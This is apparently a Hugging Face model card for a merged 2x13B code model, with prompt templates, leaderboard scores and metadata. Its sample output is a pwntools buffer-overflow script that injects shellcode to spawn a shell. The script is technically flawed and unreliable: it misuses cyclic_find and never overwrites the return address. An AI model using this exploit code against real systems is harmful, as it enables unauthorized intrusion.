
Grafted WhiteRabbitNeo-13B-v1 and NexusRaven-V2-13B with mergekit. Use the WhiteRabbitNeo template for regular code, and the NR template for function calling. 
<img src=https://huggingface.co/lodrick-the-lafted/Winged-Lagomorph-2x13B/resolve/main/winged-lago.png>

    SYSTEM: Answer the Question by exploring multiple reasoning paths as follows:
    - First, carefully analyze the question to extract the key information components and break it down into logical sub-questions. This helps set up the framework for reasoning. The goal is to construct an internal search tree.
    - For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts that represent steps towards an answer. The thoughts aim to reframe, provide context, analyze assumptions, or bridge concepts.
    - Evaluate the clarity, relevance, logical flow and coverage of concepts for each thought option. Clear and relevant thoughts that connect well with each other will score higher.
    - Based on the thought evaluations, deliberate to construct a chain of reasoning that stitches together the strongest thoughts in a natural order.
    - If the current chain is determined to not fully answer the question, backtrack and explore alternative paths by substituting different high-scoring thoughts.
    - Throughout the reasoning process, aim to provide explanatory details on thought process rather than just state conclusions, including briefly noting why some thoughts were deemed less ideal.
    - Once a reasoning chain is constructed that thoroughly answers all sub-questions in a clear, logical manner, synthesize the key insights into a final concise answer.
    - Please note that while the focus is on the final answer in the response, it should also include intermediate thoughts inline to illustrate the deliberative reasoning process.
    In summary, leverage a Tree of Thoughts approach to actively explore multiple reasoning paths, evaluate thoughts heuristically, and explain the process - with the goal of producing insightful answers.
    
    USER: Write a pwntools script that overflows a 64 character buffer from stdin.
    ASSISTANT:  To write a pwntools script that overflows a 64-character buffer from stdin, we need to follow these steps:
    
    1. **Identify the vulnerable program**: Find the program that has a buffer overflow vulnerability. This can be done by analyzing the program's source code or by using tools like `gdb` or `valgrind`.
    2. **Set up the environment**: Install pwntools and any other necessary dependencies.
    3. **Create a pwntools script**: Start by importing the `pwn` module and setting up the connection to the vulnerable program.
    4. **Find the offset**: Use the `cyclic` function from pwntools to generate a pattern that will help us find the offset.
    5. **Overflow the buffer**: Send the generated pattern to the vulnerable program, and then send additional data to overwrite the return address on the stack.
    6. **Control the execution flow**: Overwrite the return address with the address of a shellcode or a function that will give us a shell.
    7. **Execute the script**: Run the script and observe the results.
    
    Here's an example pwntools script that overflows a 64-character buffer:
    
    ```python
    from pwn import *
    
    # Set up the connection to the vulnerable program
    p = process('./vulnerable_program')
    
    # Find the offset using cyclic
    offset = cyclic_find(b'A'*64)
    
    # Generate shellcode
    shellcode = asm(shellcraft.sh())
    
    # Overflow the buffer
    payload = b'A' * offset + shellcode
    p.sendline(payload)
    
    # Execute the script
    p.interactive()
    ```
    
    In this example, `vulnerable_program` is the name of the vulnerable program, and `shellcraft.sh()` is a function from pwntools that generates shellcode for a Linux/x86-64 system. The `cyclic_find` function is used to find the offset at which the buffer overflow occurs.
    
    Please note that this script is a basic example and may not work in all cases. It's important to tailor the script to the specific vulnerability and environment you are working with.



# [Open LLM Leaderboard Evaluation Results](https://huggingface.co/spaces/HuggingFaceH4/open_llm_leaderboard)
Detailed results can be found [here](https://huggingface.co/datasets/open-llm-leaderboard/details_lodrick-the-lafted__Winged-Lagomorph-2x13B)

|             Metric              |Value|
|---------------------------------|----:|
|Avg.                             |49.90|
|AI2 Reasoning Challenge (25-Shot)|47.95|
|HellaSwag (10-Shot)              |69.39|
|MMLU (5-Shot)                    |44.50|
|TruthfulQA (0-shot)              |44.54|
|Winogrande (5-shot)              |67.40|
|GSM8k (5-shot)                   |25.63|


{"license": "llama2", "tags": ["moe", "merge"], "base_model": "codellama/CodeLlama-13b-Instruct-hf", "model-index": [{"name": "Winged-Lagomorph-2x13B", "results": [{"task": {"type": "text-generation", "name": "Text Generation"}, "dataset": {"name": "AI2 Reasoning Challenge (25-Shot)", "type": "ai2_arc", "config": "ARC-Challenge", "split": "test", "args": {"num_few_shot": 25}}, "metrics": [{"type": "acc_norm", "value": 47.95, "name": "normalized accuracy"}], "source": {"url": "https://huggingface.co/spaces/HuggingFaceH4/open_llm_leaderboard?query=lodrick-the-lafted/Winged-Lagomorph-2x13B", "name": "Open LLM Leaderboard"}}, {"task": {"type": "text-generation", "name": "Text Generation"}, "dataset": {"name": "HellaSwag (10-Shot)", "type": "hellaswag", "split": "validation", "args": {"num_few_shot": 10}}, "metrics": [{"type": "acc_norm", "value": 69.39, "name": "normalized accuracy"}], "source": {"url": "https://huggingface.co/spaces/HuggingFaceH4/open_llm_leaderboard?query=lodrick-the-lafted/Winged-Lagomorph-2x13B", "name": "Open LLM Leaderboard"}}, {"task": {"type": "text-generation", "name": "Text Generation"}, "dataset": {"name": "MMLU (5-Shot)", "type": "cais/mmlu", "config": "all", "split": "test", "args": {"num_few_shot": 5}}, "metrics": [{"type": "acc", "value": 44.5, "name": "accuracy"}], "source": {"url": "https://huggingface.co/spaces/HuggingFaceH4/open_llm_leaderboard?query=lodrick-the-lafted/Winged-Lagomorph-2x13B", "name": "Open LLM Leaderboard"}}, {"task": {"type": "text-generation", "name": "Text Generation"}, "dataset": {"name": "TruthfulQA (0-shot)", "type": "truthful_qa", "config": "multiple_choice", "split": "validation", "args": {"num_few_shot": 0}}, "metrics": [{"type": "mc2", "value": 44.54}], "source": {"url": "https://huggingface.co/spaces/HuggingFaceH4/open_llm_leaderboard?query=lodrick-the-lafted/Winged-Lagomorph-2x13B", "name": "Open LLM Leaderboard"}}, {"task": {"type": "text-generation", "name": "Text Generation"}, "dataset": {"name": "Winogrande (5-shot)", "type": "winogrande", "config": "winogrande_xl", "split": "validation", "args": {"num_few_shot": 5}}, "metrics": [{"type": "acc", "value": 67.4, "name": "accuracy"}], "source": {"url": "https://huggingface.co/spaces/HuggingFaceH4/open_llm_leaderboard?query=lodrick-the-lafted/Winged-Lagomorph-2x13B", "name": "Open LLM Leaderboard"}}, {"task": {"type": "text-generation", "name": "Text Generation"}, "dataset": {"name": "GSM8k (5-shot)", "type": "gsm8k", "config": "main", "split": "test", "args": {"num_few_shot": 5}}, "metrics": [{"type": "acc", "value": 25.63, "name": "accuracy"}], "source": {"url": "https://huggingface.co/spaces/HuggingFaceH4/open_llm_leaderboard?query=lodrick-the-lafted/Winged-Lagomorph-2x13B", "name": "Open LLM Leaderboard"}}]}]}
transformers safetensors mixtral text-generation moe merge custom_code base_model:codellama/CodeLlama-13b-Instruct-hf license:llama2 model-index autotrain_compatible endpoints_compatible text-generation-inference region:us